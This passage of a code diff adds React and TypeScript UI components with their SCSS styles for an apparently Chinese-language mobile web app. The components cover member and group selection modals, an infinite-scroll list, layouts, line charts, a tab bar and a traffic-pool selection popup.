      handleOpenMemberSelection(group.id)} + > + + 添加 +
      + )} +
      +
      +
      + ))} +
      + )} + + {/* 群选择弹窗 */} + + + {/* 成员选择弹窗 */} + +
      +
      +
      选择成员
      + +
      +
      +
      + setMemberSearchKeyword(val)} + onEnterPress={handleSearchMembers} + className={style.searchInput} + /> + {memberSearchKeyword && ( + + )} +
      + +
      +
      + {loadingMembers ? ( +
      +
      加载中...
      +
      + ) : currentGroupMembers.length > 0 ? ( + currentGroupMembers.map(member => { + const isSelected = currentSelectedMembers.some(m => m.id === member.id); + return ( +
      handleSelectMember(memberSelectionVisible.groupId, member)} + > + +
      {member.nickname}
      + {isSelected &&
      } +
      + ); + }) + ) : ( +
      +
      暂无成员数据
      +
      + )} +
      +
      +
      +
      + ); +}; + +export default GroupSelectionWithMembers; diff --git a/Cunkebao/src/components/InfiniteList/InfiniteList.module.scss b/Cunkebao/src/components/InfiniteList/InfiniteList.module.scss new file mode 100644 index 00000000..a78dbf9e --- /dev/null +++ b/Cunkebao/src/components/InfiniteList/InfiniteList.module.scss @@ -0,0 +1,87 @@ +.listContainer { + display: flex; + flex-direction: column; + overflow: hidden; + position: relative; +} + +.listItem { + flex-shrink: 0; + width: 100%; +} + +.loadMoreButtonContainer { + display: flex; + justify-content: center; + align-items: center; + padding: 16px; + flex-shrink: 0; +} + +.noMoreText { + text-align: center; + color: #999; + font-size: 14px; + padding: 16px; + flex-shrink: 0; +} + +.emptyState { + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + padding: 60px 20px; + color: #999; + flex: 1; + min-height: 200px; +} + +.emptyIcon { + font-size: 48px; + margin-bottom: 16px; + opacity: 0.5; +} + +.emptyText { + font-size: 14px; + color: #999; +} + +.pullToRefresh { + height: 100%; + overflow: auto; +} + +// 自定义滚动条样式 +.listContainer::-webkit-scrollbar { + width: 4px; +} + +.listContainer::-webkit-scrollbar-track { + background: transparent; +} + +.listContainer::-webkit-scrollbar-thumb { + background: rgba(0, 0, 0, 0.1); + border-radius: 2px; +} + +.listContainer::-webkit-scrollbar-thumb:hover { + background: rgba(0, 0, 0, 0.2); +} + +// 响应式设计 +@media (max-width: 768px) { + .listContainer { + padding: 0 8px; + } + + .loadMoreButtonContainer { + padding: 12px; + } + + .noMoreText { + padding: 12px; + } +} diff --git a/Cunkebao/src/components/InfiniteList/InfiniteList.tsx b/Cunkebao/src/components/InfiniteList/InfiniteList.tsx new file mode 100644 index 00000000..56e7369b --- /dev/null +++ b/Cunkebao/src/components/InfiniteList/InfiniteList.tsx @@ -0,0 +1,195 @@ +import React, { useState, useEffect, useRef, useCallback } from "react"; +import { + PullToRefresh, + InfiniteScroll, + Button, + SpinLoading, +} from "antd-mobile"; +import styles from "./InfiniteList.module.scss"; + +interface InfiniteListProps { + // 数据相关 + data: T[]; + loading?: boolean; + hasMore?: boolean; + loadingText?: string; + noMoreText?: string; + + // 渲染相关 + renderItem: (item: T, index: number) => React.ReactNode; + keyExtractor?: (item: T, index: number) => string | number; + + // 事件回调 + onLoadMore?: () => Promise | void; + onRefresh?: () => Promise | void; + + // 样式相关 + className?: string; + itemClassName?: string; + containerStyle?: React.CSSProperties; + + // 功能开关 + enablePullToRefresh?: boolean; + enableInfiniteScroll?: boolean; + enableLoadMoreButton?: boolean; + + // 自定义高度 + height?: string | number; + minHeight?: string | number; +} + +const InfiniteList = ({ + data, + loading = false, + hasMore = true, + loadingText = "加载中...", + noMoreText = "没有更多了", + + renderItem, + keyExtractor = (_, index) => index, + + onLoadMore, + onRefresh, + + className = "", + itemClassName = "", + containerStyle = {}, + + enablePullToRefresh = true, + enableInfiniteScroll = true, + enableLoadMoreButton = false, + + height = "100%", + minHeight = "200px", +}: InfiniteListProps) => { + const [refreshing, setRefreshing] = useState(false); + const [loadingMore, setLoadingMore] = useState(false); + const containerRef = useRef(null); + + // 处理下拉刷新 + const handleRefresh = useCallback(async () => { + if (!onRefresh) return; + + setRefreshing(true); + try { + await onRefresh(); + } catch (error) { + console.error("Refresh failed:", error); + } finally { + setRefreshing(false); + } + }, [onRefresh]); + + // 处理加载更多 + const handleLoadMore = useCallback(async () => { + if (!onLoadMore || loadingMore || !hasMore) return; + + setLoadingMore(true); + try { + await onLoadMore(); + } catch (error) { + console.error("Load more failed:", error); + } finally { + setLoadingMore(false); + } + }, [onLoadMore, loadingMore, hasMore]); + + // 点击加载更多按钮 + const handleLoadMoreClick = useCallback(() => { + handleLoadMore(); + }, [handleLoadMore]); + + // 容器样式 + const containerStyles: React.CSSProperties = { + height, + minHeight, + ...containerStyle, + }; + + // 渲染列表项 + const renderListItems = () => { + return data.map((item, index) => ( +
      + {renderItem(item, index)} +
      + )); + }; + + // 渲染加载更多按钮 + const renderLoadMoreButton = () => { + if (!enableLoadMoreButton || !hasMore) return null; + + return ( +
      + +
      + ); + }; + + // 渲染无更多数据提示 + const renderNoMoreText = () => { + if (hasMore || data.length === 0) return null; + + return
      {noMoreText}
      ; + }; + + // 渲染空状态 + const renderEmptyState = () => { + if (data.length > 0 || loading) return null; + + return ( +
      +
      📝
      +
      暂无数据
      +
      + ); + }; + + const content = ( +
      + {renderListItems()} + {renderLoadMoreButton()} + {renderNoMoreText()} + {renderEmptyState()} + + {/* 无限滚动组件 */} + {enableInfiniteScroll && ( + + )} +
      + ); + + // 如果启用下拉刷新,包装PullToRefresh + if (enablePullToRefresh && onRefresh) { + return ( + + {content} + + ); + } + + return content; +}; + +export default InfiniteList; diff --git a/Cunkebao/src/components/Layout/Layout.tsx b/Cunkebao/src/components/Layout/Layout.tsx new file mode 100644 index 00000000..160d993e --- /dev/null +++ b/Cunkebao/src/components/Layout/Layout.tsx @@ -0,0 +1,52 @@ +import React, { useEffect } from "react"; +import { SpinLoading } from "antd-mobile"; +import styles from "./layout.module.scss"; + +interface LayoutProps { + loading?: boolean; + children?: React.ReactNode; + header?: React.ReactNode; + footer?: React.ReactNode; +} + +const Layout: React.FC = ({ + children, + header, + footer, + loading = false, +}) => { + // 移动端100vh兼容 + useEffect(() => { + const setRealHeight = () => { + document.documentElement.style.setProperty( + "--real-vh", + `${window.innerHeight * 0.01}px`, + ); + }; + setRealHeight(); + window.addEventListener("resize", setRealHeight); + return () => window.removeEventListener("resize", setRealHeight); + }, []); + + return ( +
      + {header &&
      {header}
      } +
      + {loading ? ( +
      + +
      加载中...
      +
      + ) : ( + children + )} +
      + {footer &&
      {footer}
      } +
      + ); +}; + +export default Layout; diff --git a/Cunkebao/src/components/Layout/LayoutFiexd.tsx b/Cunkebao/src/components/Layout/LayoutFiexd.tsx new file mode 100644 index 00000000..9a5cefd5 --- /dev/null +++ b/Cunkebao/src/components/Layout/LayoutFiexd.tsx @@ -0,0 +1,48 @@ +import React from "react"; +import { SpinLoading } from "antd-mobile"; +import styles from "./layout.module.scss"; + +interface LayoutProps { + loading?: boolean; + children?: React.ReactNode; + header?: React.ReactNode; + footer?: React.ReactNode; +} + +const LayoutFiexd: React.FC = ({ + header, + children, + footer, + loading = false, +}) => { + return ( +
      +
      {header}
      +
      + {loading ? ( +
      + +
      加载中...
      +
      + ) : ( + children + )} +
      +
      {footer}
      +
      + ); +}; + +export default LayoutFiexd; diff --git a/Cunkebao/src/components/Layout/layout.module.scss b/Cunkebao/src/components/Layout/layout.module.scss new file mode 100644 index 00000000..3818f44d --- /dev/null +++ b/Cunkebao/src/components/Layout/layout.module.scss @@ -0,0 +1,28 @@ +.container { + display: flex; + height: 100vh; + flex-direction: column; + background: linear-gradient(135deg, #f8fafc 0%, #e2e8f0 100%); +} + +.container main { + flex: 1; + overflow: auto; +} + +.loadingContainer { + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + height: 100%; + min-height: 300px; + background: rgba(255, 255, 255, 0.8); +} + +.loadingText { + margin-top: 16px; + color: #666; + font-size: 14px; + text-align: center; +} diff --git a/Cunkebao/src/components/LineChart.tsx b/Cunkebao/src/components/LineChart.tsx new file mode 100644 index 00000000..bb93e512 --- /dev/null +++ b/Cunkebao/src/components/LineChart.tsx @@ -0,0 +1,53 @@ +import React from "react"; +import ReactECharts from "echarts-for-react"; + +interface LineChartProps { + title?: string; + xData: string[]; + yData: number[]; + height?: number | string; +} + +const LineChart: React.FC = ({ + title = "", + xData, + yData, + height = 200, +}) => { + const option = { + title: { + text: title, + left: "center", + textStyle: { fontSize: 16 }, + }, + tooltip: { trigger: "axis" }, + xAxis: { + type: "category", + data: xData, + boundaryGap: false, + }, + yAxis: { + type: "value", + boundaryGap: ["10%", "10%"], // 上下留白 + min: (value: any) => value.min - 10, // 下方多留一点空间 + max: (value: any) => value.max + 10, // 上方多留一点空间 + minInterval: 1, + axisLabel: { margin: 12 }, + }, + series: [ + { + data: yData, + type: "line", + smooth: true, + symbol: "circle", + lineStyle: { color: "#1677ff" }, + itemStyle: { color: "#1677ff" }, + }, + ], + grid: { left: 40, right: 24, top: 40, bottom: 32 }, + }; + + return ; +}; + +export default LineChart; diff --git a/Cunkebao/src/components/LineChart2.tsx b/Cunkebao/src/components/LineChart2.tsx new file mode 100644 index 00000000..2a6f401e --- /dev/null +++ b/Cunkebao/src/components/LineChart2.tsx @@ -0,0 +1,57 @@ +import React from "react"; +import ReactECharts from "echarts-for-react"; +import { getChartColor } from "@/utils/chartColors"; + +interface LineChartProps { + title?: string; + xData: string[]; + yData: any[]; + height?: number | string; +} + +const LineChart: React.FC = ({ + title = "", + xData, + yData, + height = 200, +}) => { + const option = { + title: { + text: title, + left: "center", + textStyle: { fontSize: 16 }, + }, + tooltip: { trigger: "axis" }, + xAxis: { + type: "category", + data: xData, + boundaryGap: false, + }, + yAxis: { + type: "value", + boundaryGap: ["10%", "10%"], // 上下留白 + min: (value: any) => value.min - 10, // 下方多留一点空间 + max: (value: any) => value.max + 10, // 上方多留一点空间 + minInterval: 1, + axisLabel: { margin: 12 }, + }, + series: [ + ...yData.map((item, index) => { + const color = getChartColor(index); + return { + data: item, + type: "line", + smooth: true, + symbol: "circle", + lineStyle: { color }, + itemStyle: { color }, + }; + }), + ], + grid: { left: 40, right: 24, top: 40, bottom: 32 }, + }; + + return ; +}; + +export default LineChart; diff --git a/Cunkebao/src/components/MeauMobile/MeauMoible.tsx b/Cunkebao/src/components/MeauMobile/MeauMoible.tsx new file mode 100644 index 00000000..da838937 --- /dev/null +++ b/Cunkebao/src/components/MeauMobile/MeauMoible.tsx @@ -0,0 +1,57 @@ +import React from "react"; +import { TabBar } from "antd-mobile"; +import { PieOutline, UserOutline } from "antd-mobile-icons"; +import { HomeOutlined, TeamOutlined } from "@ant-design/icons"; +import { useNavigate } from "react-router-dom"; + +const tabs = [ + { + key: "home", + title: "首页", + icon: , + path: "/", + }, + { + key: "scenarios", + title: "场景获客", + icon: , + path: "/scenarios", + }, + { + key: "workspace", + title: "工作台", + icon: , + path: "/workspace", + }, + { + key: "mine", + title: "我的", + icon: , + path: "/mine", + }, +]; + +interface MeauMobileProps { + activeKey: string; +} + +const MeauMobile: React.FC = ({ activeKey }) => { + const navigate = useNavigate(); + + return ( + { + const tab = tabs.find(t => t.key === key); + if (tab && tab.path) navigate(tab.path); + }} + > + {tabs.map(item => ( + + ))} + + ); +}; + +export default MeauMobile; diff --git a/Cunkebao/src/components/MemberSelection/TwoColumnMemberSelection.module.scss b/Cunkebao/src/components/MemberSelection/TwoColumnMemberSelection.module.scss new file mode 100644 index 00000000..0ff3cbe4 --- /dev/null +++ b/Cunkebao/src/components/MemberSelection/TwoColumnMemberSelection.module.scss @@ -0,0 +1,154 @@ +.twoColumnModal { + .ant-modal-body { + padding: 0; + } +} + +.container { + display: flex; + height: 500px; + border: 1px solid #e8e8e8; +} + +.leftColumn { + flex: 1; + border-right: 1px solid #e8e8e8; + display: flex; + flex-direction: column; +} + +.rightColumn { + width: 300px; + display: flex; + flex-direction: column; + background: #fafafa; +} + +.searchWrapper { + padding: 16px; + border-bottom: 1px solid #e8e8e8; + + .ant-input { + border-radius: 6px; + } +} + +.memberList { + flex: 1; + overflow-y: auto; + padding: 8px 0; +} + +.memberItem { + display: flex; + align-items: center; + padding: 12px 16px; + cursor: pointer; + transition: background-color 0.2s; + + &:hover { + background-color: #f5f5f5; + } + + &.selected { + background-color: #e6f7ff; + } + + .ant-checkbox { + margin-right: 12px; + } +} + +.memberInfo { + margin-left: 12px; + flex: 1; +} + +.memberName { + font-size: 14px; + font-weight: 500; + color: #333; + margin-bottom: 2px; +} + +.memberId { + font-size: 12px; + color: #999; +} + +.selectedHeader { + padding: 16px; + border-bottom: 1px solid #e8e8e8; + font-weight: 500; + color: #333; + background: #fff; + display: flex; + align-items: center; + justify-content: space-between; +} + +.singleTip { + font-size: 12px; + color: #999; + font-weight: normal; +} + +.selectedList { + flex: 1; + overflow-y: auto; + padding: 8px 0; +} + +.selectedItem { + display: flex; + align-items: center; + padding: 8px 16px; + background: #fff; + margin: 4px 8px; + border-radius: 6px; + border: 1px solid #e8e8e8; +} + +.selectedInfo { + margin-left: 8px; + flex: 1; +} + +.selectedName { + font-size: 13px; + color: #333; +} + +.removeBtn { + color: #999; + font-size: 16px; + padding: 0; + width: 20px; + height: 20px; + display: flex; + align-items: center; + justify-content: center; + + &:hover { + color: #ff4d4f; + background: #fff2f0; + } +} + +.empty { + display: flex; + align-items: center; + justify-content: center; + height: 100px; + color: #999; + font-size: 14px; +} + +.emptySelected { + display: flex; + align-items: center; + justify-content: center; + height: 100px; + color: #999; + font-size: 14px; +} \ No newline at end of file diff --git a/Cunkebao/src/components/MemberSelection/TwoColumnMemberSelection.tsx b/Cunkebao/src/components/MemberSelection/TwoColumnMemberSelection.tsx new file mode 100644 index 00000000..ef276a68 --- /dev/null +++ b/Cunkebao/src/components/MemberSelection/TwoColumnMemberSelection.tsx @@ -0,0 +1,185 @@ +import React, { useState } from 'react'; +import { Modal, Input, Avatar, Button, Checkbox } from 'antd'; +import { SearchOutlined } from '@ant-design/icons'; +import styles from './TwoColumnMemberSelection.module.scss'; + +interface Member { + id: string; + nickname: string; + avatar: string; +} + +interface TwoColumnMemberSelectionProps { + visible: boolean; + members: Member[]; + onCancel: () => void; + onConfirm: (selectedIds: string[]) => void; + title?: string; + allowMultiple?: boolean; +} + +const TwoColumnMemberSelection: React.FC = ({ + visible, + members, + onCancel, + onConfirm, + title = '选择成员', + allowMultiple = true, +}) => { + const [selectedMembers, setSelectedMembers] = useState([]); + const [searchQuery, setSearchQuery] = useState(''); + + // 过滤成员 + const filteredMembers = members.filter(member => + member.nickname.toLowerCase().includes(searchQuery.toLowerCase()) || + member.id.toLowerCase().includes(searchQuery.toLowerCase()) + ); + + // 处理搜索 + const handleSearch = (value: string) => { + setSearchQuery(value); + }; + + // 选择成员 + const handleSelectMember = (member: Member) => { + const isSelected = selectedMembers.some(m => m.id === member.id); + + if (allowMultiple) { + if (isSelected) { + setSelectedMembers(selectedMembers.filter(m => m.id !== member.id)); + } else { + setSelectedMembers([...selectedMembers, member]); + } + } else { + // 单选模式 + if (isSelected) { + setSelectedMembers([]); + } else { + setSelectedMembers([member]); + } + } + }; + + // 移除已选成员 + const handleRemoveMember = (memberId: string) => { + setSelectedMembers(selectedMembers.filter(m => m.id !== memberId)); + }; + + // 确认选择 + const handleConfirmSelection = () => { + const selectedIds = selectedMembers.map(m => m.id); + onConfirm(selectedIds); + setSelectedMembers([]); + setSearchQuery(''); + }; + + // 取消选择 + const handleCancelSelection = () => { + setSelectedMembers([]); + setSearchQuery(''); + onCancel(); + }; + + return ( + + 取消 + , + , + ]} + className={styles.twoColumnModal} + > +
      + {/* 左侧:成员列表 */} +
      +
      + handleSearch(e.target.value)} + prefix={} + allowClear + /> +
      + +
      + {filteredMembers.length > 0 ? ( + filteredMembers.map(member => { + const isSelected = selectedMembers.some(m => m.id === member.id); + return ( +
      handleSelectMember(member)} + > + + + {member.nickname?.charAt(0)} + +
      +
      {member.nickname}
      +
      {member.id}
      +
      +
      + ); + }) + ) : ( +
      + {searchQuery ? `没有找到包含"${searchQuery}"的成员` : '暂无成员'} +
      + )} +
      +
      + + {/* 右侧:已选成员 */} +
      +
      + 已选成员 ({selectedMembers.length}) + {!allowMultiple && (单选)} +
      + +
      + {selectedMembers.length > 0 ? ( + selectedMembers.map(member => ( +
      + + {member.nickname?.charAt(0)} + +
      +
      {member.nickname}
      +
      + +
      + )) + ) : ( +
      + 暂无选择 +
      + )} +
      +
      +
      +
      + ); +}; + +export default TwoColumnMemberSelection; \ No newline at end of file diff --git a/Cunkebao/src/components/MemberSelection/index.tsx b/Cunkebao/src/components/MemberSelection/index.tsx new file mode 100644 index 00000000..06c219b1 --- /dev/null +++ b/Cunkebao/src/components/MemberSelection/index.tsx @@ -0,0 +1,51 @@ +import React, { useState } from 'react'; +import { Modal, Checkbox, Avatar, List, Button } from 'antd'; + +interface MemberSelectionProps { + visible: boolean; + members: { id: string; nickname: string; avatar: string }[]; + onCancel: () => void; + onConfirm: (selectedIds: string[]) => void; +} + +const MemberSelection: React.FC = ({ visible, members, onCancel, onConfirm }) => { + const [selectedIds, setSelectedIds] = useState([]); + + const handleToggle = (id: string) => { + const newSelectedIds = selectedIds.includes(id) + ? selectedIds.filter(memberId => memberId !== id) + : [...selectedIds, id]; + setSelectedIds(newSelectedIds); + }; + + const handleConfirm = () => { + onConfirm(selectedIds); + setSelectedIds([]); + }; + + return ( + + ( + handleToggle(member.id)} style={{ cursor: 'pointer' }}> + } + title={member.nickname} + /> + + + )} + /> + + ); +}; + +export default MemberSelection; \ No newline at end of file diff --git a/Cunkebao/src/components/NavCommon/index.tsx b/Cunkebao/src/components/NavCommon/index.tsx new file mode 100644 index 00000000..5085a6ea --- /dev/null +++ b/Cunkebao/src/components/NavCommon/index.tsx @@ -0,0 +1,62 @@ +import React, { useEffect, useState } from "react"; +import { NavBar } from "antd-mobile"; +import { ArrowLeftOutlined } from "@ant-design/icons"; +import { useNavigate } from "react-router-dom"; +import { getSafeAreaHeight } from "@/utils/common"; +interface NavCommonProps { + title: string | React.ReactNode; + backFn?: () => void; + right?: React.ReactNode; + left?: React.ReactNode; +} + +const NavCommon: React.FC = ({ + title, + backFn, + right, + left, +}) => { + const navigate = useNavigate(); + const [paddingTop, setPaddingTop] = useState("0px"); + useEffect(() => { + setPaddingTop(getSafeAreaHeight() + "px"); + }, []); + + return ( +
      + + { + if (backFn) { + backFn(); + } else { + navigate(-1); + } + }} + /> +
      + ) + } + right={right} + > + + {title} + + + + ); +}; + +export default NavCommon; diff --git a/Cunkebao/src/components/PlaceholderPage.tsx b/Cunkebao/src/components/PlaceholderPage.tsx new file mode 100644 index 00000000..69a8ddde --- /dev/null +++ b/Cunkebao/src/components/PlaceholderPage.tsx @@ -0,0 +1,52 @@ +import React from "react"; +import { NavBar, Button } from "antd-mobile"; +import { PlusOutlined } from "@ant-design/icons"; +import Layout from "@/components/Layout/Layout"; + +interface PlaceholderPageProps { + title: string; + showBack?: boolean; + showAddButton?: boolean; + addButtonText?: string; +} + +const PlaceholderPage: React.FC = ({ + title, + showBack = true, + showAddButton = false, + addButtonText = "新建", +}) => { + return ( + window.history.back() : undefined} + left={ +
      + {title} +
      + } + right={ + showAddButton ? ( + + ) : undefined + } + /> + } + > +
      +

      {title}页面

      +

      此页面正在开发中...

      +
      +
      + ); +}; + +export default PlaceholderPage; diff --git a/Cunkebao/src/components/PoolSelection/api.ts b/Cunkebao/src/components/PoolSelection/api.ts new file mode 100644 index 00000000..552be7e6 --- /dev/null +++ b/Cunkebao/src/components/PoolSelection/api.ts @@ -0,0 +1,34 @@ +import request from "@/api/request"; + +// 请求参数接口 +export interface Request { + keyword: string; + /** + * 条数 + */ + limit: string; + /** + * 分页 + */ + page: string; + [property: string]: any; +} + +// 获取流量池包列表 +export function getPoolPackages(params: Request) { + return request("/v1/traffic/pool/getPackage", params, "GET"); +} + +// 保留原接口以兼容现有代码 +export function getPoolList(params: { + page?: string; + pageSize?: string; + keyword?: string; + addStatus?: string; + deviceId?: string; + packageId?: string; + userValue?: string; + [property: string]: any; +}) { + return request("/v1/traffic/pool", params, "GET"); +} diff --git a/Cunkebao/src/components/PoolSelection/data.ts b/Cunkebao/src/components/PoolSelection/data.ts new file mode 100644 index 00000000..95ff55d4 --- /dev/null +++ b/Cunkebao/src/components/PoolSelection/data.ts @@ -0,0 +1,61 @@ +// 流量池包接口类型 +export interface PoolPackageItem { + id: number; + name: string; + description: string; + createTime: string; + num: number; +} + +// 原流量池接口类型(保留以兼容现有代码) +export interface PoolItem { + id: number; + identifier: string; + mobile: string; + wechatId: string; + fromd: string; + status: number; + createTime: string; + companyId: number; + sourceId: string; + type: number; + nickname: string; + avatar: string; + gender: number; + phone: string; + alias: string; + packages: any[]; + tags: any[]; +} + +export interface PoolSelectionItem { + id: string; + avatar?: string; + name: string; + wechatId?: string; + mobile?: string; + nickname?: string; + createTime?: string; + description?: string; + num?: number; + [key: string]: any; +} + +// 组件属性接口 +export interface PoolSelectionProps { + selectedOptions: PoolSelectionItem[]; + onSelect: (Pools: PoolSelectionItem[]) => void; + onSelectDetail?: (Pools: PoolPackageItem[]) => void; + placeholder?: string; + className?: string; + visible?: boolean; + onVisibleChange?: (visible: boolean) => void; + selectedListMaxHeight?: number; + showInput?: boolean; + showSelectedList?: boolean; + readonly?: boolean; + onConfirm?: ( + selectedIds: string[], + selectedItems: PoolSelectionItem[], + ) => void; +} diff --git a/Cunkebao/src/components/PoolSelection/index.module.scss b/Cunkebao/src/components/PoolSelection/index.module.scss new file mode 100644 index 00000000..f0421ca1 --- /dev/null +++ b/Cunkebao/src/components/PoolSelection/index.module.scss @@ -0,0 +1,206 @@ +.inputWrapper { + position: relative; +} +.inputIcon { + position: absolute; + left: 12px; + top: 50%; + transform: translateY(-50%); + color: #bdbdbd; + font-size: 20px; +} +.input { + padding-left: 38px !important; + height: 48px; + border-radius: 16px !important; + border: 1px solid #e5e6eb !important; + font-size: 16px; + background: #f8f9fa; +} +.selectedListRow { + padding: 8px; + border-bottom: 1px solid #f0f0f0; + font-size: 14px; +} +.selectedListRowContent { + flex: 1; + display: flex; + align-items: center; + justify-content: space-between; + gap: 8px; +} +.selectedListRowContentText { + flex: 1; +} + +.popupContainer { + display: flex; + flex-direction: column; + height: 100vh; + background: #fff; +} +.popupHeader { + padding: 24px; +} +.popupTitle { + text-align: center; + font-size: 20px; + font-weight: 600; + margin-bottom: 24px; +} +.searchWrapper { + position: relative; + margin-bottom: 16px; +} +.searchInput { + padding-left: 40px !important; + padding-top: 8px !important; + padding-bottom: 8px !important; + border-radius: 24px !important; + border: 1px solid #e5e6eb !important; + font-size: 15px; + background: #f8f9fa; +} +.searchIcon { + position: absolute; + left: 12px; + top: 50%; + transform: translateY(-50%); + color: #bdbdbd; + font-size: 16px; +} +.clearBtn { + position: absolute; + right: 8px; + top: 50%; + transform: translateY(-50%); + height: 24px; + width: 24px; + border-radius: 50%; + min-width: 24px; +} + +.groupList { + flex: 1; + overflow-y: auto; +} +.groupListInner { + border-top: 1px solid #f0f0f0; +} +.groupItem { + display: flex; + align-items: center; + padding: 16px 24px; + border-bottom: 1px solid #f0f0f0; + transition: background 0.2s; + &:hover { + background: #f5f6fa; + } +} +.groupInfo { + display: flex; + align-items: center; + gap: 12px; + flex: 1; +} +.groupAvatar { + width: 40px; + height: 40px; + border-radius: 8px; + background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); + display: flex; + align-items: center; + justify-content: center; + color: #fff; + font-size: 14px; + font-weight: 500; + overflow: hidden; +} +.avatarImg { + width: 100%; + height: 100%; + object-fit: cover; +} +.groupDetail { + flex: 1; +} +.groupName { + font-weight: 500; + font-size: 16px; + color: #222; + margin-bottom: 2px; +} +.groupId { + font-size: 13px; + color: #888; + margin-bottom: 2px; +} +.groupOwner { + font-size: 13px; + color: #bdbdbd; +} + +.loadingBox { + display: flex; + align-items: center; + justify-content: center; + height: 100%; +} +.loadingText { + color: #888; + font-size: 15px; +} +.emptyBox { + display: flex; + align-items: center; + justify-content: center; + height: 100%; +} +.emptyText { + color: #888; + font-size: 15px; +} + +.paginationRow { + border-top: 1px solid #f0f0f0; + padding: 16px; + display: flex; + align-items: center; + justify-content: space-between; + background: #fff; +} +.totalCount { + font-size: 14px; + color: #888; +} +.paginationControls { + display: flex; + align-items: center; + gap: 8px; +} +.pageBtn { + padding: 0 8px; + height: 32px; + min-width: 32px; +} +.pageInfo { + font-size: 14px; + color: #222; +} + +.popupFooter { + display: flex; + align-items: center; + justify-content: space-between; + padding: 16px; + border-top: 1px solid #f0f0f0; + background: #fff; +} +.selectedCount { + font-size: 14px; + color: #888; +} +.footerBtnGroup { + display: flex; + gap: 12px; +} diff --git a/Cunkebao/src/components/PoolSelection/index.tsx b/Cunkebao/src/components/PoolSelection/index.tsx new file mode 100644 index 00000000..5118bacd --- /dev/null +++ b/Cunkebao/src/components/PoolSelection/index.tsx @@ -0,0 +1,127 @@ +import React, { useState } from "react"; +import { SearchOutlined, DeleteOutlined } from "@ant-design/icons"; +import { Button, Input } from "antd"; +import style from "./index.module.scss"; +import SelectionPopup from "./selectionPopup"; +import { PoolSelectionProps } from "./data"; +export default function PoolSelection({ + selectedOptions, + onSelect, + onSelectDetail, + placeholder = "选择流量池", + className = "", + visible, + onVisibleChange, + selectedListMaxHeight = 300, + showInput = true, + showSelectedList = true, + readonly = false, + onConfirm, +}: PoolSelectionProps) { + const [popupVisible, setPopupVisible] = useState(false); + + // 删除已选流量池项 + const handleRemoveItem = (id: string) => { + if (readonly) return; + onSelect(selectedOptions.filter(item => item.id !== id)); + }; + + // 受控弹窗逻辑 + const realVisible = visible !== undefined ? visible : popupVisible; + const setRealVisible = (v: boolean) => { + if (onVisibleChange) onVisibleChange(v); + if (visible === undefined) setPopupVisible(v); + }; + + // 打开弹窗 + const openPopup = () => { + if (readonly) return; + setRealVisible(true); + }; + + // 获取显示文本 + const getDisplayText = () => { + if (selectedOptions.length === 0) return ""; + return `已选择 ${selectedOptions.length} 个流量池项`; + }; + + return ( + <> + {/* 输入框 */} + {showInput && ( +
      + } + allowClear={!readonly} + size="large" + readOnly={readonly} + disabled={readonly} + style={ + readonly ? { background: "#f5f5f5", cursor: "not-allowed" } : {} + } + /> +
      + )} + {/* 已选流量池列表窗口 */} + {showSelectedList && selectedOptions.length > 0 && ( +
      + {selectedOptions.map(item => ( +
      +
      +
      + {(item.nickname || item.name || "").charAt(0)} +
      +
      +
      {item.nickname || item.name}
      +
      {item.wechatId || item.mobile}
      +
      + {!readonly && ( +
      +
      + ))} +
      + )} + {/* 弹窗 */} + + + ); +} diff --git a/Cunkebao/src/components/PoolSelection/selectionPopup.tsx b/Cunkebao/src/components/PoolSelection/selectionPopup.tsx new file mode 100644 index 00000000..20d08bec --- /dev/null +++ b/Cunkebao/src/components/PoolSelection/selectionPopup.tsx @@ -0,0 +1,258 @@ +import React, { useState, useEffect } from "react"; +import { Popup, Checkbox } from "antd-mobile"; + +import { getPoolPackages, Request } from "./api"; +import style from "./index.module.scss"; +import Layout from "@/components/Layout/Layout"; +import PopupHeader from "@/components/PopuLayout/header"; +import PopupFooter from "@/components/PopuLayout/footer"; +import { PoolSelectionItem, PoolPackageItem } from "./data"; + +// 弹窗属性接口 +interface SelectionPopupProps { + visible: boolean; + onVisibleChange: (visible: boolean) => void; + selectedOptions: PoolSelectionItem[]; + onSelect: (items: PoolSelectionItem[]) => void; + onSelectDetail?: (items: PoolPackageItem[]) => void; + readonly?: boolean; + onConfirm?: ( + selectedIds: string[], + selectedItems: PoolSelectionItem[], + ) => void; +} + +export default function SelectionPopup({ + visible, + onVisibleChange, + selectedOptions, + onSelect, + onSelectDetail, + readonly = false, + onConfirm, +}: SelectionPopupProps) { + const [poolPackages, setPoolPackages] = useState([]); + const [searchQuery, setSearchQuery] = useState(""); + const [currentPage, setCurrentPage] = useState(1); + const [totalPages, setTotalPages] = useState(1); + const [totalItems, setTotalItems] = useState(0); + const [loading, setLoading] = useState(false); + const [tempSelectedOptions, setTempSelectedOptions] = useState< + PoolSelectionItem[] + >([]); + + // 获取流量池包列表API + const fetchPoolPackages = async (page: number, keyword: string = "") => { + setLoading(true); + try { + const params: Request = { + page: String(page), + limit: "20", + keyword: keyword.trim(), + }; + + const response = await getPoolPackages(params); + if (response && response.list) { + setPoolPackages(response.list); + setTotalItems(response.total || 0); + setTotalPages(Math.ceil((response.total || 0) / 20)); + } + } catch (error) { + console.error("获取流量池包列表失败:", error); + } finally { + setLoading(false); + } + }; + + // 处理流量池包选择 + const handlePackageToggle = (item: PoolPackageItem) => { + if (readonly) return; + + // 将PoolPackageItem转换为GroupSelectionItem格式 + const selectionItem: PoolSelectionItem = { + id: String(item.id), + name: item.name, + description: item.description, + createTime: item.createTime, + num: item.num, + // 保留原始数据 + originalData: item, + }; + + const newSelectedItems = tempSelectedOptions.some( + g => g.id === String(item.id), + ) + ? tempSelectedOptions.filter(g => g.id !== String(item.id)) + : tempSelectedOptions.concat(selectionItem); + + setTempSelectedOptions(newSelectedItems); + + // 如果有 onSelectDetail 回调,传递完整的流量池包对象 + if (onSelectDetail) { + const selectedItemObjs = poolPackages.filter(packageItem => + newSelectedItems.some(g => g.id === String(packageItem.id)), + ); + onSelectDetail(selectedItemObjs); + } + }; + + // 全选当前页 + const handleSelectAllCurrentPage = (checked: boolean) => { + if (readonly) return; + + if (checked) { + // 全选:添加当前页面所有未选中的流量池包 + const currentPagePackages = poolPackages.filter( + packageItem => + !tempSelectedOptions.some(p => p.id === String(packageItem.id)), + ); + const newSelectionItems = currentPagePackages.map(item => ({ + id: String(item.id), + name: item.name, + description: item.description, + createTime: item.createTime, + num: item.num, + originalData: item, + })); + setTempSelectedOptions(prev => [...prev, ...newSelectionItems]); + } else { + // 